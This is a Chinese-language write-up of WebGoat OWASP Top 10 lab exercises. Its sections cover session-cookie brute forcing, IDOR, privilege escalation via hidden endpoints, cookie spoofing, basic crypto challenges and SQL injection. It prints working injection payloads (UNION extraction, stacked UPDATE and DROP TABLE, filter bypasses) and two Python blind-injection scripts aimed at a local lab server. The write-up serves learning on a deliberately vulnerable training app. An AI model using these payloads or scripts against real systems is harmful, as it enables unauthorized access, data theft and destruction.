OWASP TOP10靶场

A01:2021 – 权限控制失效

Hijack a session

开发自己的会话 ID 的应用程序开发人员经常忘记合并安全性所需的复杂性和随机性。如果特定于用户的会话 ID 不复杂且随机,则应用程序极易受到基于会话的暴力攻击。

我觉得这方面可以使用JWT或者类似JWT的思想来解决,在后端对得到的敏感Cookie信息进行验签等动作

  • 先对网页进行抓包,发送到Repeater方便观察规律

image-20231125231452833

  • 发送两次请求

image-20231125231541626

image-20231125231546864

可以看到他们的hijack_cookie不同,中间相差一个4796638040248218963-xxxxx的Cookie,这也就是系统模拟的他人登录之后获得的Cookie,所以这个63就是我们需要进行劫持的对象。

同时通过观察看到最后几位数字17009253xxxxx是固定的,但是后面四位数字是随机的。所以我们可以写一个脚本进行爆破就行。即hijack_cookie=4796638040248218963-17009253xxxxx随机最后五位就行。

  • 结果

image-20231125232251134

Insecure Direct Object References

  • 第一步按照提示输入账号密码就行。

image-20231129170433786

  • 点击按钮然后抓包,发现其实包里返回了userId和role的标识,只是不在前端显示而已,将这两个没显示的写入导下面的框中提交就行。

image-20231129170555010

这让我想到在写登录后端接口的时候对于JAVA的一个user实体,他的passwd字段是要加一个@jsonignore的注解的,不然在序列化的时候会将这个字段给泄露出去。

image-20231129170844570

  • 得到具有这种漏洞的威胁之后,就开始猜测后端是如何接收字段的。最后使用WebGoat/2342384就可得到相应的返回结果,i.e. http://localhost:8080/WebGoat/2342384

image-20231129171005488

得到这个规律之后点击view profile,抓包之后进行重放爆破,发现userId=2342388的用户可以访问

image-20231129170234078

  • 下一个任务让我们修改别人的权限,并且高权限意味着低的数字,然后把用户的颜色改为红色。没抓包之前盲猜是个POST,抓包看看

通过更改userId可以成功的拿到Buffalo Bill’s profile

image-20231129173020328

之后呢,提示让我们修改方法和路径去修改他的信息。想到常用的四个方法GET POST PUT DELETE 肯定试试PUT 噻。

修改方法,修改Content-Type(好让后端识别噻), 修改payload,注意json格式

image-20231129174425912

成功返回修改信息。

Missing Function Level Access Control

我目前来说理解是函数级别的访问控制,因为一个系统会存在很多的业务函数调用,所以访问控制必须在每一个函数里面执行。同时这种函数级别的访问控制和上面的IDOR(不安全的直接对象引用)不能归为一类,IDOR更像是一种横向的越权,即,这个用户可以访问和他权限相等的用户的信息。

  • 第一个就是发现有没有通过前端直接进行隐藏的按钮,F12打开审查元素,用左上角的那个工具一个模块一个模块地搜索发现还真有,然后注释掉他的class就能看到隐藏的几个按钮,提交就行

image-20231129191216508

通过之后给了个提示,所以把url保存一下

image-20231129191506203

  • 之后需要我们获得所有用户的信息然后输入Jerry信息中的userHash。想起之前的到的url:

    image-20231129193017274

但是报错404,但是给了这个路径肯定有用,后面把他试出来了,真正的url应为http://192.168.52.133:8080/WebGoat/access-control/users

但是还是报错500,经典的Spring的内部错误。

image-20231129193215536

这种情况无外乎是内部函数报错或者是我们传的参数不对。考虑到前后端基本都是json格式交互数据,所以改一个报头,content-type: application/json,之后就正确返回数据了。

image-20231129193353850

把userhash填进去这就过关了。

  • 之后他说公司修复了这个漏洞,不仅管理员可以查看用户了,所以我们使用http://192.168.52.133:8080/access-control/users-admin-fix这个接口试试。

image-20231129194756877

所以考虑如何提权,看到hint,使用POST方法可以更改权限,就更改我们当前的权限就行。

image-20231129202035604

之后再Get一下,就可以得到信息了

image-20231129202027351

Spoofing an Authentication Cookie

  • 登录查看他们的差别

image-20231129202222089

image-20231129202318320

得到这两个:

NGY2ZTY3NTY3NjdhNDU3MDU3NjY2ZTY5NmQ2NDYx

NGY2ZTY3NTY3NjdhNDU3MDU3NjY3NDYxNmY2NzYyNjU3Nw==

很像base64编码,解码看看呢

4f6e6756767a457057666e696d6461

4f6e6756767a4570576674616f67626577

image-20231129202532369

image-20231129202622710

前面是一样的,但是就是后面有点区别,使用十六进制解码再看看

解码得到

image-20231129202848244

image-20231129202909124

发现OngVvzEpWf是固定的,但是后面的就为username的镜像,所以tom的spoof_auth=OngVvzEpWfmot进行文本编码再base64得到:NGY2ZTY3NTY3NjdhNDU3MDU3NjY2ZDZmNzQ=, 输入到包中进行登录就行

image-20231129203351342

(A2) Cryptographic Failures

这一节基本都是对密码学的一个科普,基本上都学过所以没什么好说的。

  • 首先是一个base64编码。

直接用base64解码就行

  • 第二个是一个异或编码,但是要牵扯到密钥我就不知道这个怎么弄了。

    Oz4rPj0+LDovPiwsKDAtOw==

我们知道流程就行,就是吧明文的每一位转为二进制,再与密钥的二进制进行异或,得到的结果再base64就好,所以在得知密钥为_的情况下我们来进行解密

python
1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
text = "Oz4rPj0+LDovPiwsKDAtOw=="

# step1
text1 = base64.b64decode(text)
print("base64 decode========>",text1)

key = '_'
ch = []
for i in text1:
tmp = chr(i ^ ord(key))
ch.append(tmp)
print(''.join(ch))

image-20231130113656798

  • 第三个就是一个哈希的科普,具体哈希的内容可以看看seed的实验,我博客里也有。

这一节的作业就是使用hash碰撞找到他们的明文:

21232F297A57A5A743894A0E4A801FC3

2BB80D537B1DA3E38BD30361AA855686BDE0EACD7162FEF6A25FE97BF527A25B

看到哈希可以想到并不安全的MD5,网上都有做好的彩虹表,我们直接在线碰撞就行

image-20231130114114200

image-20231130114133375

  • 第四个是一个对于对称加密和非对称加密的科普哈,都学过的,直接pass

  • 第五个是一个签名的东西,首先要生成一个公钥,我们使用openssl进行生成

    shell
    1
    openssl pkey -in rsa.pem -pubout

    image-20231130124741324

生成的公钥通过:http://tool.chacuo.net/cryptrsakeyparse 去解析里面的模数

image-20231130125633843

之后利用私钥,对这个模数进行签名:

有个BUG就是文中没有提到用的哈希算法是什么所以就用最常用的SHA-256试试,这个也是现在TLS里面用到的哈希算法

image-20231130133558154

  • 第六个说到了密钥管理的方面。

启动一个docker:

image-20231130134410452

进入docker里

执行几个命令就行

image-20231130140134992

(A3)Injection

SQL Injection (intro)

第二页

普通的sql语句,很简单

image-20231203011243053

第三页

主要介绍数据操作语言

image-20231203011423543

第四页

数据定义语言

image-20231203011725571

第五页

数据控制语言

第九页

image-20231203012216635

第十页

一个字符型注入,加一个条件就行

image-20231203012741519

第十一页

发现可以拼接,加一个or 1=1的条件

image-20231203013006287

image-20231203013138454

第十二页

看到TAN,可能是字符型注入,试试注释掉后面的并且添加or 1=1,确实可以

image-20231203013321747

拼接我们自己的update语句

sql
1
3SL99A' or 1=1; update employees set salary=88888 where first_name='John' and last_name='Smith'; --

image-20231203013559218

第十三页

sql
1
1';DROP TABLE access_log;--

拼接语句 删库跑路

SQL Injection (advanced)

第三页

网页回显了sql语句,直接拼接就行

image-20231203114823275

image-20231203114848903

用union凭借另外一张表,注意字段数量不一样,所以添加1,2,3占位

sql
1
Dave' or 1=1 union select userid,user_name,password,cookie,'1','2',3 from user_system_data; --

但是显示不出来,可能是限制了显示的行宽

那就使用;拼接SQL语句

sql
1
Dave' or 1=1; select * from user_system_data;--

image-20231203115721164

输入dave的密码即可

第五页

让我们进行sql注入,并且没有提示sql语句,所以只能盲猜了

先猜这个语句,我们只要有值返回就可以登录

plaintext
1
select username.password from user where username ='Tom' and password ='passwd';

payload为

plaintext
1
2
username = tom
password = 1'='1' or 1=1--

失败了

还有一个注册页面,抓包注入试试,应该是个注入点

image-20231203121740996

写个脚本跑跑

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
from string import printable
chars = printable

vul_url = "http://192.168.52.133:8080/WebGoat/SqlInjectionAdvanced/challenge"
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
'JSESSIONID': 'X-CKA9Eg0TRmmV0zKv2QxHKJSVDByRU4q-aOS28D',
}
i = 0
result = ""
while True:
i += 1
temp = result
for char in chars:
data = "username_reg=tom'+and%20substr(password,{0},1)='{1}'--&email_reg=aaa@qq.com&password_reg=123&confirm_password_reg=123".format(i, char)
resp = requests.put(vul_url, data=data, headers=headers, cookies=cookies)
if 'already exists' in resp.text:
result += char
print(result)
if temp == result:
break

image-20231203123833226

登录吧

SQL Injection (mitigation)

这一节说的是参数化传入的查询参数。让我想到seed实验的一张图

image-20231203124631054

  • mybatis如何防止sql注入的?
  • 参数化查询工作原理?

第五页

image-20231203130858554

第六页

image-20231203131844026

第九页

前端就把空格给过滤了,用单行注释就行

plaintext
1
Dave'/**/or/**/1=1/**/union/**/select/**/userid,user_name,password,cookie,'1','2',3/**/from/**/user_system_data;/**/--

第十页

做了空格和and or过滤

image-20231203133335416

使用

plaintext
1
Dave'/**/or/**/1=1/**/union/**/select/**/userid,user_name,password,cookie,'1','2',3/**/from/**/user_system_data;/**/--

但是发现select和from不见了,然后or还是可以用,但是要大写(一样的)

添加字符然后bypass

plaintext
1
Dave'/**/or/**/1=1/**/union/**/selselectect/**/userid,user_name,password,cookie,'1','2',3/**/frfromom/**/user_system_data;/**/--

第十二页

找到webgoat-prd的ip地址,通过order by漏洞,然后网页可以通过点击不同的标签来达到排序的效果,然后我们抓包看看传入的参数是什么。

一个get传入column按哪一行排列,试试可以在这个参数上可以做什么

image-20231203134309509

猜测sql语句大概是

plaintext
1
select * from servers where xxxx order by ip;

看看能不能拼接一下两个sql,报错500,看来不行

plaintext
1
select * from servers where xxxx order by ip; select ip from servers where hostname='webgoat-prd';

image-20231203134712653

通过构造case when能不能找到注入点,可以看到我们的id被正确得到,也就是说1=1这个条件是可用的,所以通过修改这一段,就可以盲注。用前面我们的substr就可以得到想要的内容了

image-20231203141446895

编写以下脚本

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests,json
from string import digits
chars = digits

vul_url = "http://192.168.52.133:8080/WebGoat/SqlInjectionMitigations/servers?column="
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
'JSESSIONID': 'mIHt8RZK4zlK_721Iz8i6pC2AdWm6xlodhA8tykz',
}
# vul_url+="(case+when+(substring((select+ip+from+servers+where+hostname='webgoat-prd'),1,1)='1')+then+id+else+hostname+end)--+"
# resp = requests.get(url=vul_url,cookies=cookies,headers=headers)
# print(resp.text)
i = 0
result = ""
while True:
i += 1
temp = result
for char in chars:
data = "(case+when+(substring((select+ip+from+servers+where+hostname='webgoat-prd'),{0},1)='{1}')+then+id+else+hostname+end)--+".format(i, char)
res = requests.get(url=vul_url+data,cookies=cookies,headers=headers)
resp = json.loads(res.text)
if resp[0]['id'] == '1':
result += str(char)

result = result + "."
print(result)

结合得到的信息,就可以拿到ip

image-20231203141137655